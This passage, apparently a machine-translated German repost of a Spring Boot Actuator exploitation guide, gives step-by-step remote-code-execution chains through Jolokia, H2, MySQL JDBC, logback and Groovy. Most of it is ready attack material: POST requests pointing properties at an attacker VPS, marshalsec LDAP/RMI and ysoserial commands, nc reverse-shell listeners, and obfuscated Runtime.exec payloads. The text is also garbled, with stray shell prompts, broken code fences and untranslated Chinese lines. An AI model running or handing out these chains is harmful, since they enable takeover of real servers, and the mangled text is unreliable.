    {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/example"}
    
    Schritt 4: Konfiguration aktualisieren

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    

    Schwachstellenprinzip:

    1. Die Eigenschaft eureka.client.serviceUrl.defaultZone wird auf eine bösartige externe Eureka-Server-URL gesetzt.
    2. Ein refresh löst aus, dass die Zielmaschine die entfernte URL anfordert. Der vorab eingerichtete Fake-Eureka-Server gibt dann eine bösartige Payload zurück.
    3. Die Zielmaschine analysiert die Payload mit den zugehörigen Abhängigkeiten, löst eine XStream-Deserialisierung aus und verursacht eine RCE-Sicherheitslücke.

    Schwachstellenanalyse:

    ​ Spring Boot Actuator – Von unbefugtem Zugriff zur Shell

    Schwachstellenumgebung:

    repository/springboot-eureka-xstream-rce

    Normaler Zugriff:``` http://127.0.0.1:9093/env

    root@kitploit:~
    ### 0x04: Jolokia Logback JNDI RCE
    
    #### Nutzungsbedingungen:
    
    - Die Zielwebsite hat die Schnittstelle `/jolokia` oder `/actuator/jolokia`.
    - Das Ziel verwendet die Abhängigkeit `jolokia-core` (Versionsanforderung derzeit unbekannt) und es gibt relevante MBeans in der Umgebung.
    - Das Ziel kann den HTTP-Server des Angreifers anfordern (Anfragen können das externe Netzwerk erreichen).
    
    - Normale JNDI-Injection wird durch die JDK-Version des Ziels beeinflusst: JDK < 6u201/7u191/8u182/11.0.1 (LDAP), aber relevante Umgebungen können umgangen werden.
    
    #### Nutzungsmethode:
    
    ##### Schritt 1: Vorhandene MBeans anzeigen
    
    Greifen Sie auf die Schnittstelle `/jolokia/list` zu und prüfen Sie, ob die Schlüsselwörter `ch.qos.logback.classic.jmx.JMXConfigurator` und `reloadByURL` vorhanden sind.
    
    ##### Schritt 2: XML-Datei hosten
    
    Starten Sie auf einem von Ihnen kontrollierten VPS einen einfachen HTTP-Server. Verwenden Sie nach Möglichkeit gängige HTTP-Dienstports (80, 443).```bash
    # 使用 python 快速开启 http server
    
    python2 -m SimpleHTTPServer 80
    python3 -m http.server 80
    

    Lege im Stammverzeichnis die Datei example.xml, die auf xml endet, mit folgendem Inhalt ab:```xml

    root@kitploit:~
    ##### Schritt 3: Vorbereitung des auszuführenden Java-Codes
    
    Schreiben Sie den optimierten [Java-Beispielcode](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) für einen Reverse Shell `JNDIObject.java`,
    
    Kompilieren Sie es mit einer mit niedrigeren JDK-Versionen kompatiblen Methode:```bash
    javac -source 1.5 -target 1.5 JNDIObject.java
    

    Kopieren Sie dann die generierte Datei JNDIObject.class in das Stammverzeichnis der Website aus Schritt 2.

    Schritt 4: Einrichten eines bösartigen LDAP-Dienstes

    Laden Sie marshalsec herunter und verwenden Sie den folgenden Befehl, um den entsprechenden LDAP-Dienst einzurichten:```bash java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389

    root@kitploit:~
    ##### Schritt 5: Den Port für die Reverse-Shell abhören
    
    Normalerweise wird nc verwendet, um einen Port abzuhören und auf die Reverse-Shell zu warten.```bash
    nc -lv 443
    
    Schritt sechs: Laden der Logkonfigurationsdatei von einer externen URL

    ⚠️ Wenn das Ziel erfolgreich example.xml anfordert und marshalsec die Zielanfrage auch empfangen hat, das Ziel jedoch nicht JNDIObject.class anfordert, liegt es höchstwahrscheinlich daran, dass die JDK-Version in der Zielumgebung zu hoch ist, was zu einem Fehler bei der JNDI-Ausnutzung führt.

    Ersetzen Sie die tatsächliche your-vps-ip-Adresse und greifen Sie auf die URL zu, um die Schwachstelle auszulösen:``` /jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml

    root@kitploit:~
    #### Schwachstellenprinzip:
    
    1. Direkter Zugriff auf die URL, die die Schwachstelle auslöst, entspricht dem Aufrufen der Methode `reloadByURL` der Klasse `ch.qos.logback.classic.jmx.JMXConfigurator` über jolokia.
    2. Die Zielmaschine fordert die URL-Adresse der externen Logkonfigurationsdatei an und erhält den Inhalt einer bösartigen XML-Datei.
    3. Die Zielmaschine verwendet saxParser.parse, um die XML-Datei zu parsen (hier tritt die XXE-Schwachstelle auf).
    4. In der XML-Datei wird das Tag `insertFormJNDI` der Abhängigkeit `logback` verwendet, um die Adresse eines externen JNDI-Servers festzulegen.
    5. Die Zielmaschine fordert den bösartigen JNDI-Server an, was zu einer JNDI-Injektion führt und eine RCE-Schwachstelle verursacht.
    
    #### Schwachstellenanalyse:
    
    [spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
    
    #### Schwachstellenumgebung:
    
    [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
    
    Normaler Zugriff:```
    http://127.0.0.1:9094/env
    

    0x05: jolokia Realm JNDI RCE

    Voraussetzungen für die Ausnutzung:

    • Die Ziel-Website verfügt über eine /jolokia- oder /actuator/jolokia-Schnittstelle.
    • Das Ziel verwendet die jolokia-core-Abhängigkeit (die genaue Version ist unbekannt) und in der Umgebung sind entsprechende MBeans vorhanden.
    • Das Ziel kann Anfragen an den Server des Angreifers senden (die Anfrage kann das externe Netzwerk erreichen).
    • Eine normale JNDI-Injection wird von der JDK-Version des Ziels beeinflusst: jdk < 6u141/7u131/8u121 (RMI), aber die entsprechende Umgebung kann umgangen werden.

    Nutzungsmethode:

    Schritt 1: Vorhandene MBeans anzeigen

    Greifen Sie auf die Schnittstelle /jolokia/list zu und prüfen Sie, ob die Schlüsselwörter type=MBeanFactory und createJNDIRealm vorhanden sind.

    Schritt 2: Auszuführenden Java-Code vorbereiten

    Schreiben Sie den optimierten Java-Beispielcode JNDIObject.java, der eine Reverse Shell auslöst.

    Schritt 3: Class-Datei hosten

    Starten Sie auf Ihrem kontrollierten VPS einen einfachen HTTP-Server. Verwenden Sie möglichst häufig genutzte HTTP-Dienstports (80, 443).```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    将**步骤二**中编译好的 class 文件拷贝到 HTTP 服务器根目录。
    
    
    
    ##### 步骤四:架设恶意 rmi 服务
    
    下载 [marshalsec](https://github.com/mbechler/marshalsec) ,使用下面命令架设对应的 rmi 服务:```bash
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:80/#JNDIObject 1389
    
    Schritt fünf: Auf den Port des Reverse Shells hören

    Normalerweise wird nc verwendet, um einen Port abzuhören und auf die Reverse Shell zu warten.```bash nc -lvp 443

    root@kitploit:~
    ##### Schritt 6: Senden der schädlichen Payload
    
    Ändern Sie die Zieladresse, die RMI-Adresse, den Port und andere Informationen im Skript [springboot-realm-jndi-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-realm-jndi-rce.py) entsprechend der tatsächlichen Situation und führen Sie es dann auf dem von Ihnen kontrollierten Server aus.
    
    
    
    #### Schwachstellenprinzip:
    
    1. Verwenden Sie jolokia, um createJNDIRealm aufzurufen und JNDIRealm zu erstellen
    2. Setzen Sie die connectionURL-Adresse auf die RMI Service URL
    3. Setzen Sie contextFactory auf RegistryContextFactory
    4. Stoppen Sie das Realm
    5. Starten Sie das Realm, um die JNDI-Injektion an der angegebenen RMI-Adresse auszulösen, was zu einer RCE-Schwachstelle führt
    
    
    
    #### Schwachstellenanalyse:
    
    ​	[Yet Another Way to Exploit Spring Boot Actuators via Jolokia](https://static.anquanke.com/download/b/security-geek-2019-q1/article-10.html)
    
    
    
    #### Schwachstellenumgebung:
    
    [repository/springboot-jolokia-logback-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce)
    
    Normaler Zugriff:```
    http://127.0.0.1:9094/env
    

    0x06: Neustart der H2-Datenbankabfrage RCE

    Voraussetzungen:

    • POST-Anfrage an die /env-Schnittstelle der Zielwebsite, um Eigenschaften zu setzen
    • POST-Anfrage an die /restart-Schnittstelle der Zielwebsite, um die Anwendung neu zu starten
    • Abhängigkeit von com.h2database.h2 vorhanden (Versionsanforderung derzeit unbekannt)

    Ausnutzungsmethode:

    Schritt 1: Setzen der Eigenschaft spring.datasource.hikari.connection-test-query

    ⚠️ Die Methode 'T5' im folgenden Payload muss nach jeder Befehlsausführung umbenannt werden (z. B. T6), damit sie neu erstellt und verwendet werden kann. Andernfalls wird die Schwachstelle beim nächsten Neustart der Anwendung nicht ausgelöst.

    spring 1.x (Befehlsausführung ohne Rückmeldung)``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');

    root@kitploit:~
    spring 2.x(Befehlsausführung ohne Echo)```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.hikari.connection-test-query","value":"CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');"}
    
    Schritt 2: Anwendung neu starten

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    Schwachstellenprinzip:

    1. Die Eigenschaft spring.datasource.hikari.connection-test-query wird auf eine bösartige CREATE ALIAS SQL-Anweisung zur Erstellung einer benutzerdefinierten Funktion gesetzt.
    2. Diese Eigenschaft entspricht der Konfiguration connectionTestQuery des HikariCP-Datenbankverbindungspools und definiert die SQL-Anweisung, die vor dem Aufbau einer neuen Datenbankverbindung ausgeführt wird.
    3. Beim Neustart (restart) der Anwendung wird eine neue Datenbankverbindung hergestellt.
    4. Wenn die benutzerdefinierte Funktion in der SQL-Anweisung noch nicht ausgeführt wurde, wird sie ausgeführt, was zu einer RCE-Schwachstelle führt.

    Schwachstellenanalyse:

    ​ remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database

    Schwachstellenumgebung:

    repository/springboot-h2-database-rce

    Normaler Zugriff:``` http://127.0.0.1:9096/actuator/env

    root@kitploit:~
    ### 0x07: h2 Datenbankkonsole JNDI RCE
    
    #### Nutzungsbedingungen:
    
    - Abhängigkeit `com.h2database.h2` vorhanden (Versionsanforderung derzeit unbekannt)
    - H2-Konsole in der Spring-Konfiguration aktiviert `spring.h2.console.enabled=true`
    - Das Ziel kann den Server des Angreifers anfordern (Anfragen können das externe Netzwerk erreichen)
    - JNDI-Injektion wird von der JDK-Version des Ziels beeinflusst, jdk < 6u201/7u191/8u182/11.0.1 (LDAP-Methode)
    
    
    
    #### Nutzungsmethode:
    
    ##### Schritt 1: Route aufrufen, um jsessionid zu erhalten
    
    Rufen Sie direkt die Standardroute `/h2-console` des Ziels auf, bei der die H2-Konsole aktiviert ist. Das Ziel leitet zur Seite `/h2-console/login.jsp?jsessionid=xxxxxx` weiter. Notieren Sie sich den tatsächlichen Wert von `jsessionid=xxxxxx`.
    
    
    
    ##### Schritt 2: Java-Code zur Ausführung vorbereiten
    
    Schreiben Sie den optimierten [Java-Beispielcode](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/JNDIObject.java) für eine Reverse-Shell `JNDIObject.java`,
    
    Kompilieren Sie mit einer Methode, die mit älteren JDK-Versionen kompatibel ist:```bash
    javac -source 1.5 -target 1.5 JNDIObject.java
    

    然后将生成的 JNDIObject.class 文件拷贝到 Schritt 2 中的网站根目录。


    Schritt 3: Bereitstellen der class-Datei

    Auf Ihrem eigenen VPS einen einfachen HTTP-Server starten. Verwenden Sie nach Möglichkeit gängige HTTP-Ports (80, 443).```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Kopieren Sie die in **Schritt 2** kompilierte class-Datei in das Stammverzeichnis des HTTP-Servers.
    
    
    
    ##### Schritt 4: Einrichten eines bösartigen LDAP-Dienstes
    
    Laden Sie [marshalsec](https://github.com/mbechler/marshalsec) herunter und richten Sie den entsprechenden LDAP-Dienst mit dem folgenden Befehl ein:```bash
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:80/#JNDIObject 1389
    
    Schritt 5: Port für Reverse Shell abhören

    Normalerweise wird nc verwendet, um den Port abzuhören und auf die Reverse Shell zu warten.```bash nc -lv 443

    root@kitploit:~
    ##### Schritt 6: Paket senden, um JNDI-Injection auszulösen
    
    Ersetzen Sie entsprechend der tatsächlichen Situation die folgenden Daten: `jsessionid=xxxxxx`, `www.example.com` und `ldap://your-vps-ip:1389/JNDIObject````bash
    POST /h2-console/login.do?jsessionid=xxxxxx
    Host: www.example.com
    Content-Type: application/x-www-form-urlencoded
    Referer: http://www.example.com/h2-console/login.jsp?jsessionid=xxxxxx
    
    language=en&setting=Generic+H2+%28Embedded%29&name=Generic+H2+%28Embedded%29&driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject&user=&password=
    

    Schwachstellenanalyse:

    ​ Spring Boot + H2 Datenbank JNDI Injection

    Schwachstellenumgebung:

    repository/springboot-h2-database-rce

    Normaler Zugriff:``` http://127.0.0.1:9096/h2-console

    root@kitploit:~
    ### 0x08: mysql jdbc deserialization RCE
    
    #### Voraussetzungen:
    
    - Es muss möglich sein, per POST-Anfrage an die `/env`-Schnittstelle der Zielseite Eigenschaften zu setzen
    - Es muss möglich sein, per POST-Anfrage an die `/refresh`-Schnittstelle der Zielseite die Konfiguration zu aktualisieren (Vorhandensein der Abhängigkeit `spring-boot-starter-actuator`)
    - Im Zielsystem muss die Abhängigkeit `mysql-connector-java` vorhanden sein
    - Das Ziel muss in der Lage sein, den Server des Angreifers anzufragen (Anfragen müssen das externe Netzwerk erreichen)
    
    
    
    #### Methode:
    
    ##### Schritt 1: Umgebungsabhängigkeiten prüfen
    
    Senden Sie eine GET-Anfrage an `/env` oder `/actuator/env`, suchen Sie in den Umgebungsvariablen (classpath) nach dem Schlüsselwort `mysql-connector-java` und notieren Sie die Versionsnummer (5.x oder 8.x);
    
    Suchen und beobachten Sie in den Umgebungsvariablen, ob gängige Deserialisierungs-Gadget-Abhängigkeiten vorhanden sind, wie z. B. `commons-collections`, `Jdk7u21`, `Jdk8u20` usw.;
    
    Suchen Sie nach dem Schlüsselwort `spring.datasource.url` und notieren Sie dessen `value`-Wert, um später die normale JDBC-URL wiederherstellen zu können.
    
    
    
    ##### Schritt 2: Einen bösartigen Rogue-MySQL-Server aufsetzen
    
    Führen Sie auf Ihrem kontrollierten Server das Skript [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) aus und verwenden Sie [ysoserial](https://github.com/frohoff/ysoserial), um den auszuführenden Befehl anzupassen:```bash
    java -jar ysoserial.jar CommonsCollections3 calc > payload.ser
    

    在脚本同目录下生成 payload.ser 反序列化 payload 文件,供脚本使用。

    Schritt 3: Festlegen der Eigenschaft spring.datasource.url

    ⚠️ Das Ändern dieser Eigenschaft führt vorübergehend dazu, dass alle normalen Datenbankdienste der Website nicht verfügbar sind, was sich auf den Geschäftsbetrieb auswirkt. Bitte mit Vorsicht vorgehen!

    Für die mysql-connector-java 5.x-Version wird der Eigenschaftswert gesetzt auf:``` jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true

    root@kitploit:~
    mysql-connector-java 8.x Version setzt den **Eigenschaftswert** auf:```
    jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
    

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.url=对应属性值

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.url","value":"对应属性值"}
    
    Schritt 4: Konfiguration aktualisieren

    spring 1.x``` POST /refresh Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/refresh
    Content-Type: application/json
    
    
    Schritt 5: Datenbankabfrage auslösen

    Versuchen Sie, auf eine bekannte Schnittstelle der Website für Datenbankabfragen zuzugreifen, z. B. /product/list, oder suchen Sie nach anderen Möglichkeiten, um die ursprüngliche Website aktiv zu einer Datenbankabfrage zu veranlassen, dann wird die Schwachstelle ausgelöst.

    Schritt 6: Wiederherstellung der normalen JDBC-URL

    Nach Abschluss der Ausnutzung der Deserialisierungsschwachstelle stellen Sie mit der Methode aus Schritt 3 den ursprünglichen value-Wert der in Schritt 1 aufgezeichneten spring.datasource.url wieder her.

    Schwachstellenprinzip:

    1. Die Eigenschaft spring.datasource.url wird auf eine externe bösartige MySQL-JDBC-URL gesetzt.
    2. Nach dem Refresh wird ein neuer Wert für spring.datasource.url gesetzt.
    3. Wenn die Website Datenbankabfragen oder andere Vorgänge durchführt, wird versucht, mit der bösartigen MySQL-JDBC-URL eine neue Datenbankverbindung herzustellen.
    4. Der bösartige MySQL-Server sendet dann in einer geeigneten Phase des Verbindungsaufbaus die Deserialisierungs-Payload-Daten.
    5. Die abhängige mysql-connector-java-Bibliothek des Zielsystems deserialisiert das konfigurierte Gadget, was zu einer RCE-Schwachstelle führt.

    Schwachstellenanalyse:

    New-Exploit-Technique-In-Java-Deserialization-Attack

    Schwachstellenumgebung:

    Es müssen spring.datasource.url, spring.datasource.username und spring.datasource.password in application.properties konfiguriert werden, um eine ordnungsgemäße Verbindung zur MySQL-Datenbank sicherzustellen. Andernfalls wird das Programm beim Start mit einem Fehler beendet.

    repository/springboot-mysql-jdbc-rce

    Normaler Zugriff:``` http://127.0.0.1:9097/actuator/env

    root@kitploit:~
    Nach dem Senden des Payloads wird die Schwachstelle ausgelöst:```
    http://127.0.0.1:9097/product/list
    

    0x09:restart logging.config logback JNDI RCE

    Ausnutzungsbedingungen:

    • Über POST-Anfrage an die /env-Schnittstelle der Zielwebsite können Eigenschaften gesetzt werden.
    • Über POST-Anfrage an die /restart-Schnittstelle der Zielwebsite kann die Anwendung neu gestartet werden.
    • Normale JNDI-Injektion ist von der JDK-Version des Ziels abhängig: JDK < 6u201/7u191/8u182/11.0.1 (LDAP), kann jedoch in bestimmten Umgebungen umgangen werden.
    • ⚠️ Das Ziel muss in der Lage sein, den HTTP-Server des Angreifers zu erreichen (Anfragen müssen das externe Netz erreichen), da sonst der Neustart zu einem abnormalen Programmabbruch führt.
    • ⚠️ Falls der HTTP-Server eine Datei mit fehlerhaftem XML-Syntax-Inhalt zurückgibt, führt dies zu einem abnormalen Programmabbruch.
    • ⚠️ Das vom JNDI-Dienst zurückgegebene Objekt muss das Interface javax.naming.spi.ObjectFactory implementieren, da es sonst zu einem abnormalen Programmabbruch kommt.

    Ausnutzungsmethode:

    Schritt 1:XML-Datei hosten

    Starten Sie auf Ihrem eigenen VPS-Rechner einen einfachen HTTP-Server. Verwenden Sie nach Möglichkeit gängige HTTP-Dienstports (80, 443).```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Legen Sie eine Datei `example.xml` mit der Endung `xml` im Stammverzeichnis ab. Der tatsächliche Inhalt richtet sich nach dem im Schritt 2 verwendeten JNDI-Dienst:```xml
    <configuration>
      <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/TomcatBypass/Command/Base64/b3BlbiAtYSBDYWxjdWxhdG9y" as="appName" />
    </configuration>
    
    Schritt 2: Hosting des bösartigen ldap-Dienstes und des Codes

    Siehe Artikel, modifiziere JNDIExploit und starte (andere Methoden können ebenfalls verwendet werden):```bash java -jar JNDIExploit-1.0-SNAPSHOT.jar -i your-vps-ip

    root@kitploit:~
    ##### Schritt 3: Festlegen der Eigenschaft logging.config
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    logging.config=http://your-vps-ip/example.xml
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"logging.config","value":"http://your-vps-ip/example.xml"}

    root@kitploit:~
    ##### Schritt 4: Anwendung neu starten
    
    spring 1.x```
    POST /restart
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/restart Content-Type: application/json

    root@kitploit:~
    #### Schwachstellenprinzip:
    
    1. Die Zielmaschine setzt die URL der Logback-Protokollkonfigurationsdatei über die `logging.config`-Eigenschaft.
    2. Nach dem Neustart der Anwendung fordert das Programm die URL an, um den Inhalt einer bösartigen XML-Datei zu erhalten.
    3. Die Zielmaschine verwendet `saxParser.parse`, um die XML-Datei zu parsen (dies führt zur XXE-Schwachstelle).
    4. In der XML-Datei wird das `insertFormJNDI`-Tag der `logback`-Abhängigkeit verwendet, um die Adresse eines externen JNDI-Servers festzulegen.
    5. Die Zielmaschine fordert den bösartigen JNDI-Server an, was zu einer JNDI-Injektion führt und eine RCE-Schwachstelle verursacht.
    
    #### Schwachstellenanalyse:
    
    ​	[spring boot actuator rce via jolokia](https://xz.aliyun.com/t/4258)
    
    ​	https://landgrey.me/blog/21/
    
    #### Schwachstellenumgebung:
    
    [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
    
    Normaler Zugriff:```
    http://127.0.0.1:9098/actuator/env
    

    0x0A: Restart logging.config groovy RCE

    Nutzungsbedingungen:

    • Es muss möglich sein, per POST-Anfrage an die /env-Schnittstelle der Zielwebsite Eigenschaften zu setzen
    • Es muss möglich sein, per POST-Anfrage an die /restart-Schnittstelle der Zielwebsite die Anwendung neu zu starten
    • ⚠️ Das Ziel muss in der Lage sein, den HTTP-Server des Angreifers zu erreichen (die Anfrage muss das externe Netzwerk erreichen), andernfalls führt der Neustart zu einem abnormalen Programmabbruch
    • ⚠️ Wenn der HTTP-Server eine Datei mit fehlerhaftem Groovy-Syntaxinhalt zurückgibt, führt dies zu einem abnormalen Programmabbruch
    • ⚠️ Die Umgebung muss eine groovy-Abhängigkeit enthalten, andernfalls kommt es zu einem abnormalen Programmabbruch

    Verwendungsmethode:

    Schritt 1: Groovy-Datei hosten

    Starten Sie auf Ihrer eigenen VPS-Maschine einen einfachen HTTP-Server. Verwenden Sie nach Möglichkeit gängige HTTP-Dienstports (80, 443)```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    在根目录放置以 `groovy` 结尾的  `example.groovy` 文件,内容为需要执行的 groovy 代码,比如:```xml
    Runtime.getRuntime().exec("open -a Calculator")
    
    
    Schritt 2: Festlegen der Eigenschaft logging.config

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    logging.config=http://your-vps-ip/example.groovy

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"logging.config","value":"http://your-vps-ip/example.groovy"}
    
    Schritt 3: Anwendung neu starten

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    Spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    Schwachstellenprinzip:

    1. Die Zielmaschine legt die URL-Adresse der Logback-Protokolldatei-Konfiguration über die Eigenschaft logging.config fest.
    2. Nach einem Neustart der Anwendung fordert das Programm die gesetzte URL-Adresse an.
    3. In der Logik der Code-Datei ch.qos.logback.classic.util.ContextInitializer.java der Komponente logback-classic wird geprüft, ob die URL auf groovy endet.
    4. Endet die URL auf groovy, wird letztendlich der Groovy-Code im Dateiinhalt ausgeführt, was zu einer RCE-Schwachstelle führt.

    Schwachstellenumgebung:

    repository/springboot-restart-rce

    Normaler Zugriff:``` http://127.0.0.1:9098/actuator/env

    root@kitploit:~
    ### 0x0B: Restart spring.main.sources groovy RCE
    
    #### Nutzungsbedingungen:
    
    - Es kann eine POST-Anfrage an die `/env`-Schnittstelle der Zielwebsite gesendet werden, um Eigenschaften zu setzen.
    - Es kann eine POST-Anfrage an die `/restart`-Schnittstelle der Zielwebsite gesendet werden, um die Anwendung neu zu starten.
    - ⚠️ Das Ziel muss in der Lage sein, den HTTP-Server des Angreifers zu erreichen (Anfragen müssen das Internet verlassen können), andernfalls führt der Neustart zu einem abnormalen Programmabbruch.
    - ⚠️ Wenn der HTTP-Server eine Datei mit fehlerhaftem Groovy-Syntax-Inhalt zurückgibt, führt dies zu einem abnormalen Programmabbruch.
    - ⚠️ In der Umgebung muss eine Groovy-Abhängigkeit vorhanden sein, andernfalls führt dies zu einem abnormalen Programmabbruch.
    
    #### Nutzungsmethode:
    
    ##### Schritt 1: Groovy-Datei hosten
    
    Starten Sie auf Ihrem eigenen VPS einen einfachen HTTP-Server. Verwenden Sie nach Möglichkeit gängige HTTP-Dienstports (80, 443).```bash
    # 使用 python 快速开启 http server
    
    python2 -m SimpleHTTPServer 80
    python3 -m http.server 80
    

    Legen Sie eine auf groovy endende Datei example.groovy im Stammverzeichnis ab, deren Inhalt der auszuführende Groovy-Code ist, zum Beispiel:```xml Runtime.getRuntime().exec("open -a Calculator")

    root@kitploit:~
    ##### Schritt 2: Festlegen der spring.main.sources-Eigenschaft
    
    spring 1.x```
    POST /env
    Content-Type: application/x-www-form-urlencoded
    
    spring.main.sources=http://your-vps-ip/example.groovy
    

    spring 2.x``` POST /actuator/env Content-Type: application/json

    {"name":"spring.main.sources","value":"http://your-vps-ip/example.groovy"}

    root@kitploit:~
    ##### Schritt 3: Anwendung neu starten
    
    spring 1.x```
    POST /restart
    Content-Type: application/x-www-form-urlencoded
    
    

    spring 2.x``` POST /actuator/restart Content-Type: application/json

    root@kitploit:~
    #### Schwachstellenprinzip:
    
    1. Die Zielmaschine kann über die Eigenschaft `spring.main.sources` die URL-Adresse einer zusätzlichen Quelle zur Erstellung des ApplicationContext festlegen.
    2. Nach dem Neustart der Anwendung fordert das Programm die festgelegte URL-Adresse an.
    3. Die Code-Logik in der Datei `org.springframework.boot.BeanDefinitionLoader.java` der `spring-boot`-Komponente prüft, ob die URL auf `.groovy` endet.
    4. Wenn die URL auf `.groovy` endet, wird der Groovy-Code im Dateiinhalt ausgeführt, was zu einer RCE-Schwachstelle führt.
    
    #### Schwachstellenumgebung:
    
    [repository/springboot-restart-rce](https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-restart-rce)
    
    Normaler Zugriff:```
    http://127.0.0.1:9098/actuator/env
    

    0x0C: restart spring.datasource.data h2 database RCE

    Voraussetzungen:

    • POST-Anfrage an die /env-Schnittstelle der Zielseite, um Eigenschaften festzulegen, ist möglich
    • POST-Anfrage an die /restart-Schnittstelle der Zielseite, um die Anwendung neu zu starten, ist möglich
    • In der Umgebung müssen die Abhängigkeiten h2database und spring-boot-starter-data-jpa vorhanden sein
    • ⚠️ Das Ziel muss den HTTP-Server des Angreifers anfragen können (die Anfrage muss das externe Netz erreichen), sonst führt der Neustart zu einem abnormalen Programmabbruch
    • ⚠️ Wenn der HTTP-Server eine Datei mit fehlerhafter h2 SQL-Syntax zurückgibt, führt dies zu einem abnormalen Programmabbruch

    Vorgehen:

    Schritt 1: Hosting der SQL-Datei

    Starten Sie einen einfachen HTTP-Server auf dem von Ihnen kontrollierten VPS, und verwenden Sie nach Möglichkeit gängige HTTP-Dienstports (80, 443).```bash

    使用 python 快速开启 http server

    python2 -m SimpleHTTPServer 80 python3 -m http.server 80

    root@kitploit:~
    Lege eine Datei mit einem beliebigen Namen im Stammverzeichnis ab, deren Inhalt der auszuführende H2-SQL-Code ist, zum Beispiel:
    
    > ⚠️ Die Methode 'T5' im obigen Payload kann nur einmal per Restart ausgeführt werden; beim nächsten Restart muss ein neuer Methodenname (z. B. T6) und eine neue SQL-URL-Adresse festgelegt werden, damit sie erneut per Restart verwendet werden kann. Andernfalls führt der zweite Restart (Neustart der Anwendung) zu einem unerwarteten Programmabbruch.```xml
    CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','open -a Calculator');
    
    Schritt 2: Festlegen der spring.datasource.data-Eigenschaft

    spring 1.x``` POST /env Content-Type: application/x-www-form-urlencoded

    spring.datasource.data=http://your-vps-ip/example.sql

    root@kitploit:~
    spring 2.x```
    POST /actuator/env
    Content-Type: application/json
    
    {"name":"spring.datasource.data","value":"http://your-vps-ip/example.sql"}
    
    Schritt 3: Anwendung neu starten

    spring 1.x``` POST /restart Content-Type: application/x-www-form-urlencoded

    root@kitploit:~
    spring 2.x```
    POST /actuator/restart
    Content-Type: application/json
    
    

    Schwachstellenprinzip:

    1. Die Zielmaschine kann die URL-Adresse der jdbc DML SQL-Datei über die Eigenschaft spring.datasource.data festlegen.
    2. Nach dem Neustart der Anwendung fordert das Programm die festgelegte URL-Adresse an.
    3. In der Datei org.springframework.boot.autoconfigure.jdbc.DataSourceInitializer.java der Komponente spring-boot-autoconfigure verwendet die Code-Logik die Methode runScripts, um den h2 database SQL-Code im Inhalt der angeforderten URL auszuführen, was zu einer RCE-Schwachstelle führt.

    Schwachstellenumgebung:

    repository/springboot-restart-rce

    Normaler Zugriff:``` http://127.0.0.1:9098/actuator/env

    root@kitploit:~
    Tool herunterladen